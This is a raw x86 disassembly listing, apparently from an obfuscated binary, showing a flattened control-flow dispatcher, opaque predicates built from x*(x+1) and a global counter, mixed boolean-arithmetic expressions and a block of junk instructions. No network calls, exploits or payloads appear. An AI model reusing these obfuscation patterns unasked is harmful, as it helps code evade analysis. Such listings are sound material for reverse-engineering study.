xor edx, 0x683201d3
or eax, edx
cmp eax, 0xffffffff
sete dl
cmp dword [0x504180], 0xa
mov eax, edx
setge ah
mov cl, ah
or ah, dl
xor cl, dl
and al, cl
not cl
and cl, dl
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
mov edx, eax
mov ah, cl
xor dl, 1
xor ah, 1
and cl, dl
and al, ah
or ah, dl
or al, cl
mov dl, ah
mov ecx, 0x65a3caca
xor dl, al
test ah, 1
cmovne ecx, esi
test al, al
mov eax, 0x65a3caca
cmove ecx, esi
test dl, 1
jmp 0x40600e
cmp eax, 0x997774b0
je 0x40cf69
cmp eax, 0x9a570095
jne 0x401ef0
mov eax, 0xc1624607
jmp 0x401ef0
cmp eax, 0x1a55b2e4
je 0x40cf73
cmp eax, 0x1d2fe628
jne 0x401ef0
mov eax, dword [0x504184]
mov esi, 0x6f2b0379
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x1ae203db
and ecx, 0xe51dfc24
or ecx, edx
mov eax, ecx
xor ecx, 0x650c2400
xor eax, 0x1ae203db
mov edx, eax
and ecx, 0x6d2e2682
and eax, 0x92d1d97d
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x92d1d97c
or eax, edx
mov ecx, eax
xor ecx, 0xc5e07c13
and ecx, eax
not eax
and eax, 0xc5e07c13
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x369289ed
and eax, 0xc96d7612
or ecx, eax
xor ecx, 0xf372f5fe
sete dl
setne ah
cmp dword [0x504180], 0xa
setge al
setl ch
mov cl, al
or ch, ah
or al, dl
mov ah, al
or al, ch
inc cl
xor ah, ch
xor al, 1
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor ah, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and dl, ah
and al, cl
or ah, cl
mov ecx, 0x26b93d4e
or al, dl
mov dh, ah
xor dh, al
test ah, 1
cmovne ecx, esi
test al, 1
mov eax, 0x26b93d4e
cmove ecx, esi
test dh, 1
cmove ecx, eax
mov eax, ecx
jmp 0x401ef0
cmp eax, 0xd13c418c
je 0x40cf8c
cmp eax, 0xd1793aba
jne 0x401ef0
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
mov eax, 0x77ed6dd3
add ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xe8], ecx
jmp 0x401ef0
cmp eax, 0x663d6f3f
je 0x40cfa0
cmp eax, 0x6651d3a0
jne 0x401ef0
mov ecx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x98]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x144], eax
mov eax, 0x623737f
jmp 0x401ef0
cmp eax, 0xb5614fd7
je 0x40cfc5
cmp eax, 0xb5b753d0
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x78000822
mov esi, ecx
and esi, 0x8101e088
mov edi, ecx
or edi, 0xe80128a2
and ecx, 0x964bbf0
or edx, esi
and edi, 0xeaa93df3
mov esi, edx
xor esi, 0x10000000
xor edx, 0x82a935d1
and edx, 0xeaa93df3
and esi, 0x1100c008
or esi, edx
mov edx, eax
and edx, 0x4560204
and eax, 0xf69b440f
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0xf69b440f
mov esi, edx
not esi
and edx, 0xf901e8ab
and esi, 0x6fe1754
or edx, esi
mov esi, edx
not esi
and edx, 0x900df9f8
and esi, 0x6ff20607
or edx, esi
lea esi, [ebp - 0x8c]
xor edx, 0x900df9f8
mov dword [ebp - 0x14c], esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7d94c31b
and ecx, 0x826b3ce4
or eax, ecx
xor eax, 0x7d94c31b
setne dl
sete cl
cmp dword [0x504180], 0xa
setge al
setl ah
mov ch, al
and dl, ah
xor ch, cl
and ch, al
and al, cl
xor cl, ah
or al, dl
or al, ch
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0xd2f43bfa
xor ch, cl
test dl, dl
mov edx, 0xbb520ff9
cmovne eax, edx
test cl, cl
not ch
cmovne eax, edx
mov edx, dword [ebp - 0x104]
test ch, 1
mov dword [ebp - 0x1c8], edx
mov edx, 0xd2f43bfa
cmove eax, edx
jmp 0x401ef0
cmp eax, 0x3f328763
je 0x40cfcf
cmp eax, 0x400ea36d
jne 0x401ef0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], eax
mov eax, 0x4e2cd4f5
jmp 0x401ef0
cmp eax, 0xf3e7a3aa
je 0x40cff8
cmp eax, 0xf50ae489
jne 0x401ef0
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0x1c0], eax
mov eax, 0x9a664a5b
jmp 0x401ef0
cmp eax, 0x6ec2fcd8
je 0x40d018
cmp eax, 0x6f00e0f8
jne 0x401ef0
mov eax, 0x635560db
jmp 0x401ef0
cmp eax, 0x81307593
je 0x40d022
cmp eax, 0x82c3f316
jne 0x401ef0
mov eax, 0x96a221dc
jmp 0x401ef0
cmp eax, 0xf9d5cc26
je 0x40d036
cmp eax, 0xfab3a851
jne 0x401ef0
mov eax, 0xe42a63ca
jmp 0x401ef0
cmp eax, 0xb6f23136
je 0x40d15c
cmp eax, 0xb7645ae9
jne 0x401ef0
mov edi, dword [ebp - 0xc4]
mov ecx, edi
xor ecx, 0x82a1810e
mov edx, edi
not edx
mov eax, edi
or eax, 0x790a7e60
and ecx, edi
and eax, 0xfb0bfe62
and edx, 0xa0010c
mov esi, ecx
not esi
or edx, eax
mov eax, edi
and ecx, 0x4f4019d
or eax, esi
and esi, 0xfb0bfe62
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x7d5e7ef1
and eax, 0x82a1810e
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xdcfd1bc6
and edx, 0xdfffffff
and ecx, 0x2302e439
or eax, ecx
xor eax, 0xfcfd1bc6
or eax, edx
mov ecx, eax
not ecx
and eax, 0x90907679
and ecx, 0x6f6f8986
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x86b94fee
and ecx, 0x7946b011
or eax, ecx
mov ecx, eax
xor ecx, 0x48860668
xor eax, 0x12282192
and eax, 0xb378e192
and ecx, 0x4c871e6d
or ecx, eax
mov eax, dword [0x504184]
xor ecx, 0xb378e192
mov dword [ebp - 0x170], ecx
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x6d9d2bf9
and edx, 0x9262d406
or eax, edx
mov edx, eax
xor edx, 0xc1c0b19
xor eax, 0x9262d406
mov esi, eax
and esi, 0xe3a120e2
and edx, 0x1c5edf1d
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1c5edf1d
or eax, esi
and esi, 0xe3a120e2
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xd567c942
mov edi, eax
not edi
mov esi, ecx
and esi, 0x2a9836bd
and eax, 0xd567c942
or ecx, edi
and edi, 0x2a9836bd
or edx, esi
or eax, edi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x81110540
and ecx, 0x36ccf2af
and eax, 0x48220810
or edx, eax
xor edx, 0x81110540
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd741e5d6
and eax, 0x28be1a29
or ecx, eax
xor ecx, 0x1e72e886
setne dl
sete ah
cmp dword [0x504180], 0xa
setl ch
setge al
mov cl, ch
xor ch, ah
and ah, al
or al, dl
and cl, dl
xor al, 1
or cl, ah
or al, ch
mov edx, ecx
mov ch, cl
xor dl, 1
mov ah, dl
and ch, dl
xor ah, al
or al, dl
xor ch, 1
xor al, 1
or ch, dl
or al, ah
xor ch, 1
mov ah, al
or ch, cl
xor al, dl
mov edx, 0x76d3bee9
xor ah, 1
xor ch, ah
or ah, cl
xor ah, 1
or ah, al
mov cl, ah
xor cl, ch
test ah, 1
mov eax, 0x4ead7b37
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x4ead7b37
cmove eax, edx
jmp 0x401ef0
cmp eax, 0x4cff0e81
je 0x40d333
cmp eax, 0x4d2eb10d
jne 0x401ef0
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x114], eax
mov eax, 0x899c2508
jmp 0x401ef0
cmp eax, 0x9b0fbc7e
je 0x40d33d
cmp eax, 0x9b6ab664
jne 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x763a2074
and eax, 0x89c5df8b
or ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x89c5df8b
xor ecx, 0xb0be7537
xor eax, 0x763a2074
and ecx, esi
or esi, 0xc6845543
mov edx, ecx
not edx
and ecx, 0xe0cc89c0
mov edi, edx
and edi, 0x1f33763f
or edx, esi
and esi, 0x1f33763f
or ecx, edi
mov edi, eax
and edi, 0x20488880
not edx
and eax, 0xfffffffe
or edi, esi
mov esi, 0xc509c552
xor edi, ecx
or edx, edi
mov ecx, edx
not ecx
and edx, 0x2db397c5
and ecx, 0xd24c683a
or edx, ecx
xor edx, 0xeb37c287
or eax, edx
mov ecx, eax
not ecx
and eax, 0x68310832
mov edx, ecx
and edx, 0x80ca0405
and ecx, 0x1704f3c8
or eax, edx
xor eax, 0x68310832
or ecx, eax
sete ah
setne dl
cmp dword [0x504180], 0xa
mov dh, ah
setl cl
setge ch
mov al, cl
or dh, ch
and ch, ah
or al, dl
and dl, cl
or cl, ah
mov ebx, eax
or al, dh
or dl, ch
xor cl, 1
xor bl, dh
xor al, 1
or cl, dl
or al, bl
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
not dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0xcd5b4b6c
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xcd5b4b6c
jmp 0x401ee2
cmp eax, 0x21ac6bb4
je 0x40d3f7
cmp eax, 0x21bb444c
jne 0x401ef0
mov ecx, dword [0x504184]
mov edi, 0x3628a4c3
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x29142132
mov ecx, edx
and ecx, 0x86485208
and edx, 0x56dcf820
or esi, ecx
mov ecx, eax
xor ecx, 0xaf5c733a
and ecx, eax
xor esi, 0x29142132
and eax, 0xa92307df
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x80db9bf7
and esi, 0x7f246408
or ecx, esi
mov esi, ecx
xor esi, 0xe864884
xor ecx, 0xd0781733
mov edx, ecx
and edx, 0x7159b079
and esi, 0x8ea64f86
or esi, edx
mov edx, eax
xor edx, 0x88220786
xor eax, 0x5058b020
and eax, 0x7159b079
and edx, 0x8ea64f86
or edx, eax
xor edx, esi
mov esi, 0x3628a4c3
xor ecx, edx
test ecx, edx
sete dl
setne ch
cmp dword [0x504180], 0xa
setl al
setge ah
mov cl, al
and al, ch
and ch, ah
and cl, dl
and dl, ah
or cl, ch
or al, dl
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ch, cl
and al, cl
or cl, dl
not ch
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf24c77b
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
jmp 0x407b94
cmp eax, 0xd3197d1c
je 0x40d4f7
cmp eax, 0xd3bf0e48
jne 0x401ef0
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x180]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
lea ecx, [ebp - 0x94]
add eax, dword [ebp - 0xbc]
push ecx
push dword [ebp - 0x174]
push dword [ebp - 0x178]
push eax
vzeroupper
call fcn.00401770
add esp, 0x10
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
not ecx
and edx, eax
or eax, 1
mov esi, ecx
and esi, 0x118ead08
mov edi, eax
and edi, 0xee7152f6
or esi, edi
mov edi, edx
not edi
and edx, 0x118ead09
or eax, edi
and edi, 0xee7152f6
or edx, edi
not eax
xor edx, esi
mov esi, 0x4af4d4ee
or eax, edx
mov edx, eax
not edx
and eax, 0x798b8824
and edx, 0x867477db
or eax, edx
xor eax, 0x798b8824
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x504180], 0xa
mov dh, dl
setge cl
setl ch
mov al, cl
or dh, ch
xor al, dl
and dl, ch
and al, ch
mov ch, cl
xor ch, ah
xor al, 1
and ch, cl
and cl, ah
mov ebx, eax
or al, dh
or cl, dl
xor bl, dh
xor al, 1
or cl, ch
or al, bl
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa8f4c7c
cmovne ecx, esi
test al, 1
mov eax, 0xa8f4c7c
jmp 0x401ee2
cmp eax, 0x73db3953
je 0x40d501
cmp eax, 0x742d2e09
jne 0x401ef0
mov eax, 0x835b2f1a
jmp 0x401ef0
cmp eax, 0x8ebbc365
je 0x40d515
cmp eax, 0x8f8bce72
jne 0x401ef0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xac]
add eax, eax
mov word [ecx], ax
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1924d73a
and eax, 0xe6db28c5
or ecx, eax
mov eax, ecx
xor eax, 0x18205302
xor ecx, 0xc2500085
and ecx, 0xc35484bd
and eax, 0x3cab7b42
or eax, ecx
mov edx, eax
xor edx, 0xc35484bd
xor eax, 0x3cab7b42
mov ecx, edx
or ecx, 0x40c02
mov esi, eax
or esi, 0x10414210
mov edi, eax
and edi, 0xe08031a0
and ecx, 0x10454e12
and esi, 0x10454e12
or edi, ecx
mov ecx, edx
and ecx, 0xf3a804d
and edx, 0x9779d8fd
or ecx, esi
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xf0c173b1
and esi, 0xf3e8c4e
or ecx, esi
mov esi, eax
and esi, 0x68862702
and eax, 1
or esi, edx
xor esi, 0x9779d8fc
or eax, esi
mov esi, 0x38e62b1d
mov edx, eax
not edx
and eax, 0xf9c6e3f4
and edx, 0x6391c0b
or eax, edx
xor eax, 0xf9c6e3f4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe780f86d
and ecx, 0x187f0792
or ecx, eax
mov eax, ecx
xor eax, 0x6480f020
xor ecx, 0x8710710
and eax, 0x748ef0a2
and ecx, 0x8b710f5d
or ecx, eax
mov eax, ecx
xor eax, 0x4b080
xor ecx, 0x8b410911
and ecx, 0xffcb4933
and eax, 0x34b6cc
or eax, ecx
xor eax, 0x34b6cc
sete dl
setne ah
cmp dword [0x504180], 0xa
setge al
setl ch
mov cl, al
or al, ah
xor ch, dl
xor cl, ah
and cl, al
xor al, 1
or al, ch
xor ch, 1
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xdba736f4
cmovne eax, esi
test dl, dl
mov edx, 0xdba736f4
jmp 0x40d6c1
cmp eax, 0xeefbacd
je 0x40d5f8
cmp eax, 0xef27ae7
jne 0x401ef0
and edi, 0x93
ror edx, 0x34
inc edi
and eax, 0x1e
neg esi
mov edi, 0x6e
imul ebx
mov esi, 0xb2
inc edx
bswap ebx
bswap eax
rol esi, 0x79
bswap eax
ror ebx, 0x43
inc edx
neg edx
dec edi
bswap edx
inc edi
imul ebx
dec esi
mov edi, 0xc7
inc esi
add edx, 0xc1
dec edi
add ebx, 0x76
imul edx
rcl ebx, 0xb9
not edx
sub eax, 0x3f
dec esi
inc esi
neg esi
add eax, 0x9a
neg ebx
or edi, 0x40
sub edi, 0x52
sub eax, 0x42
rcl eax, 0x63
not ebx
sbb eax, 0xad
not esi
rcr ebx, 0xe7
rol edx, 0xbc
rcl eax, 0xb7
neg edi
mov eax, 0xa2
mov esi, 0xf3
and eax, 0x68
sub edx, 0xf
and edi, 0x39
inc edi
mov edx, 0x6c
rcr edx, 0x32
not edx
not esi
rol esi, 0xa9
add edx, 0x92
rcr ebx, 0x2b
sbb edi, 0xc1
or eax, 0xcd
bswap esi
sub edi, 6
neg esi
sub eax, 0xa0
neg ebx
dec eax
mov edx, 0x31
and ebx, 0x95
not esi
and edi, 0x5a
rol edx, 0x53
and ebx, 0xc6
mov esi, 0x2a
rcl esi, 0xa5
imul edi
rcr edi, 0x66
or esi, 0x1f
neg edi
not esi
rol eax, 0x13
sub edi, 0xdc
neg edx
rcl esi, 0xea
neg eax
rcl edi, 0xfd
ror eax, 0x4f
sbb ebx, 0x5c
dec eax
inc edx
rcr edi, 0xf4
sub eax, 0x30
rcr ebx, 0xa0
rol ebx, 0x29
sbb ebx, 0xd3
sbb esi, 0xf5
bswap ebx
mov edx, 0xa9
neg eax
inc edi
not ebx
mov eax, 0x53
rol esi, 0x30
mov edx, 0x8e
ror ebx, 0x50
dec edx
inc esi
dec eax
bswap esi
mov esi, 0x82
add eax, 0x4f
imul esi
rol edx, 0x62
rcl eax, 0xbe
mov eax, 0xba
or esi, 0x84
sub eax, 0x3a
sbb ebx, 0x3b
or esi, 0xaf
sbb ebx, 0xc6
sbb ebx, 0x87
inc esi
ror edx, 0x46
inc edx
mov ebx, 0xd9
rol edi, 0x37
mov eax, 0xa3
add ebx, 0xaa
imul ebx
not esi
rcr edi, 0x7e
rcl edi, 0x58
imul ebx
or ebx, 0x3f
mov eax, 0x19
inc edi
dec edi
sbb ebx, 0xfc
inc ebx
mov edi, 0xfe
ror eax, 0x82
or eax, 0xe1
imul edi
imul edi
not ebx
sbb edx, 0xd7
dec edi
rcl esi, 0xc7
bswap eax
ror eax, 0xe9
mov dword [ebp - 0x164], eax
mov eax, 0x7dfc9417
jmp 0x401ef0
cmp eax, 0xc750f48d
je 0x40d6cf
cmp eax, 0xc82f33da
jne 0x401ef0
mov eax, 0xeea39ed3
jmp 0x401ef0
cmp eax, 0x5d530f91
je 0x40d6d9
cmp eax, 0x5d73710a
jne 0x401ef0
mov eax, dword [ebp - 0xa0]
add eax, 6
mov dword [ebp - 0x1b0], eax
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul eax, ecx
mov edi, eax
not edi
mov ecx, eax
and ecx, 0x1decff04
mov edx, eax
xor edx, 0xd7450059
and edi, 0xe21300fb
andn esi, eax, edx
or edi, ecx
mov edx, edi
xor edx, 0x1decff04
mov ecx, edi
xor edi, 0x20020000
xor ecx, 0xa20100e8
mov eax, edx
or eax, 0xd7450059
and edi, 0x280a4300
and edx, 0x4136d516
and ecx, 0xbec92ae8
mov ebx, eax
and ebx, 0x80b0bcbf
or ecx, edx
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x7f4f4340
or eax, ebx
and ebx, 0x80b0bcbf
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x9dd187c8
and esi, 0x622e7837
or eax, esi
mov esi, eax
xor esi, 0x44b0040
xor eax, 0x4a948790
mov edx, eax
and edx, 0xfba0ffaf
and esi, 0x45f0050
or esi, edx
mov edx, ecx
xor edx, 0x4490040
xor ecx, 0x4136d517
or eax, ecx
and ecx, 0xfba0ffaf
and edx, 0x45f0050
or edx, ecx
not eax
xor edx, esi
mov esi, dword [ebp - 0xf8]
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd76b59a4
and ecx, 0x2894a65b
or ecx, eax
mov eax, ecx
xor eax, 0x20048212
xor ecx, 0xd5084120
mov dword [ebp - 0x138], esi
and ecx, 0xdd986569
and eax, 0x22679a96
or eax, ecx
mov ecx, eax
xor ecx, 0x5c182141
xor eax, 0x20278882
and eax, 0xa1a7ccaa
and ecx, 0x5e583355
or ecx, eax
xor ecx, 0x5e583355
sete ah
setne al
cmp dword [0x504180], 0xa
setl dl
inc al
mov ecx, edx
xor cl, ah
and ah, cl
and cl, dl
mov ch, ah
xor ah, cl
xor cl, 1
xor ch, 1
or cl, ch
xor cl, 1
or cl, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, cl
mov edx, eax
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
and ah, cl
and ch, al
xor dl, 1
xor ah, 1
xor ch, 1
mov dh, ah
or ah, cl
xor dh, cl
xor ah, 1
xor cl, al
or ah, dh
mov dh, ch
or ch, al
or dl, cl
xor dh, al
xor ch, 1
mov cl, dl
or ch, dh
xor ch, ah
mov eax, 0x4cff0e81
xor cl, ch
test dl, 1
mov edx, 0xa3d3855a
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x4cff0e81
cmove eax, edx
jmp 0x401ef0
cmp eax, 0xad80d1ea
je 0x40d73e
cmp eax, 0xae29a6af
jne 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
or edx, 1
mov ecx, eax
and ecx, 1
mov esi, edx
not esi
and edx, 0x39a0fcae
or ecx, esi
mov esi, eax
not esi
and eax, 0x6c1e528e
and ecx, 0xc65f0351
and esi, 0x93e1ad71
or ecx, edx
or eax, esi
mov edx, ecx
xor edx, 0xc2180301
xor ecx, 0x39a0fcae
mov esi, ecx
and esi, 0x14c794de
and edx, 0xeb386b21
or edx, esi
mov esi, eax
xor esi, 0x68184200
xor eax, 0x93e1ad71
or ecx, eax
and eax, 0x14c794de
and esi, 0xeb386b21
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xb5614fd7
xor ecx, 0xffffffff
setne dl
sete al
cmp dword [0x504180], 0xa
mov ecx, edx
setl ah
setge ch
or cl, ah
xor al, ah
xor cl, 1
and al, ah
or al, cl
mov cl, dl
and dl, ah
inc cl
or ah, cl
and cl, ch
or cl, dl
mov edx, eax
xor ah, 1
not dl
or cl, ah
mov ah, al
and dl, al
xor cl, 1
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov ah, al
xor dl, cl
xor ah, cl
or cl, al
xor cl, 1
mov ch, dl
or cl, ah
mov eax, 0xeefbacd
xor ch, cl
test cl, 1
cmovne eax, esi
test dl, 1
not ch
mov edx, 0xeefbacd
cmovne eax, esi
test ch, 1
cmove eax, edx
jmp 0x401ef0
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xe8], eax
mov eax, 0x82c3f316
jmp 0x401ef0
mov ecx, dword [0x504184]
mov ebx, 0xdb6b901d
mov edi, 0xdb6b901d
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0x5c956904
and ecx, 0xa36a96fb
or ecx, eax
mov eax, edx
not eax
and edx, 0x81dd965a
mov esi, eax
and esi, 0x7e2269a5
or edx, esi
mov esi, ecx
xor esi, 0x8148965a
xor ecx, 0x5c956905
or eax, ecx
and ecx, 0x7e2269a5
and esi, 0x81dd965a
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xea847dab
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xcc6dd2f4
and ecx, 0x33922d0b
or ecx, edx
xor ecx, 0xcc6dd2f4
xor eax, ecx
test eax, ecx
sete dl
setne ah
cmp dword [0x504180], 0xa
setl ch
setge cl
mov al, ch
xor al, ah
and ah, ch
mov ch, cl
xor ch, dl
and ch, cl
and cl, dl
mov edx, eax
or cl, ah
xor ch, 1
xor dl, 1
xor cl, 1
mov ah, ch
xor ah, cl
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
not ah
and ah, al
or al, cl
and cl, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne ebx, esi
test cl, cl
mov ecx, ebx
cmovne ecx, edi
test al, 1
cmovne ecx, ebx
mov eax, ecx
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x97ffa59e
mov edx, eax
and edx, 0x68005a61
and eax, 0xff6f77ba
or esi, edx
mov edx, ecx
or edx, 0xdf15fa8
mov edi, esi
xor edi, 0x920ea016
xor esi, 0x8005a20
and edx, 0xdf15fa9
and esi, 0xdf15fa8
and edi, 0xf20ea056
or edi, esi
xor edx, edi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x908845
and edi, 0x908845
and esi, 0xff6f77ba
or eax, ecx
not edx
or esi, edi
xor eax, esi
mov esi, 0x2b87c159
or edx, eax
cmp edx, 0xffffffff
setne dl
cmp dword [0x504180], 0xa
setge cl
setl al
mov ah, al
mov ch, cl
or cl, dl
or al, dl
xor ah, dl
xor ch, dl
xor cl, 1
xor al, 1
or cl, ch
mov ch, ah
xor ch, cl
or cl, ah
not ah
xor cl, 1
and ah, dl
or cl, ch
or al, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
mov ah, dl
mov ch, dl
or dl, al
xor al, 1
xor ah, 1
and ch, al
xor dl, 1
xor al, ah
and cl, ah
or dl, al
or cl, ch
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2dafa160
cmovne esi, eax
test dl, 1
mov eax, 0x2b87c159
cmovne eax, esi
jmp 0x40a408
mov edx, dword [ebp - 0xa0]
mov eax, dword [edx + 0xa0]
mov ecx, dword [edx + 0xa4]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov eax, dword [edx + 0x50]
mov dword [ebp - 0x198], ecx
mov dword [ebp - 0x194], eax
mov eax, 0x260b4762
jmp 0x401ef0
mov eax, 0x65a3caca
jmp 0x401ef0
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1a4]
cmp ecx, dword [eax + 0x1c]
mov eax, 0xa650fea0
mov ecx, 0xd180363b
cmove eax, ecx
jmp 0x401ef0
mov dword [ebp - 0xa4], 0
mov eax, 0xf58422bc
jmp 0x401ef0
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x1a4], eax
mov eax, 0x20c3cfdf
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 0x168ca888
mov esi, edx
and esi, 0x168ca888
mov edi, ecx
and edi, 0xe9735776
and eax, 0x168ca889
and ecx, 0xd0e8b799
or edi, esi
xor eax, edi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x2f174866
and edi, 0x2f174866
and esi, 0xd0e8b799
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0xb33bb17b
or eax, ecx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x504180], 0xa
setge dl
setl ah
and ah, al
and cl, dl
or cl, ah
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov eax, edx
mov ah, dl
xor al, 1
and al, dl
xor al, 1
xor ah, al
or al, dl
mov edx, ecx
xor dl, 1
xor al, 1
and cl, dl
or al, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x66d02810
cmovne eax, esi
test cl, 1
mov ecx, 0x66d02810
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401ef0
mov eax, 0x7550a89a
jmp 0x401ef0
mov eax, 0xce73ce0e
jmp 0x401ef0
mov eax, 0x940f31e5
jmp 0x401ef0
mov eax, 0xad80d1ea
jmp 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x10c40cb5
mov edx, ecx
and edx, 0xe4206200
and ecx, 0x473b67dd
or esi, edx
mov edx, eax
and edx, 0xb1b914a
and eax, 0xb8c49822
xor esi, 0x10c40cb5
or eax, ecx
or edx, esi
xor eax, 0xb8c49822
mov esi, edx
not esi
and edx, 0x5d7d610d
and esi, 0xa2829ef2
or edx, esi
mov esi, edx
xor esi, 0x28100599
xor edx, 0x52206004
and edx, 0xd3a96a24
and esi, 0x2c5695db
or esi, edx
xor esi, 0x2c5695db
or eax, esi
mov esi, 0x13e72bd5
xor eax, 0xffffffff
sete al
setne ah
cmp dword [0x504180], 0xa
setl ch
setge dl
mov cl, ch
xor dl, ah
or al, ch
xor ch, ah
not ch
xor dl, 1
or cl, ah
and ch, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ah, dl
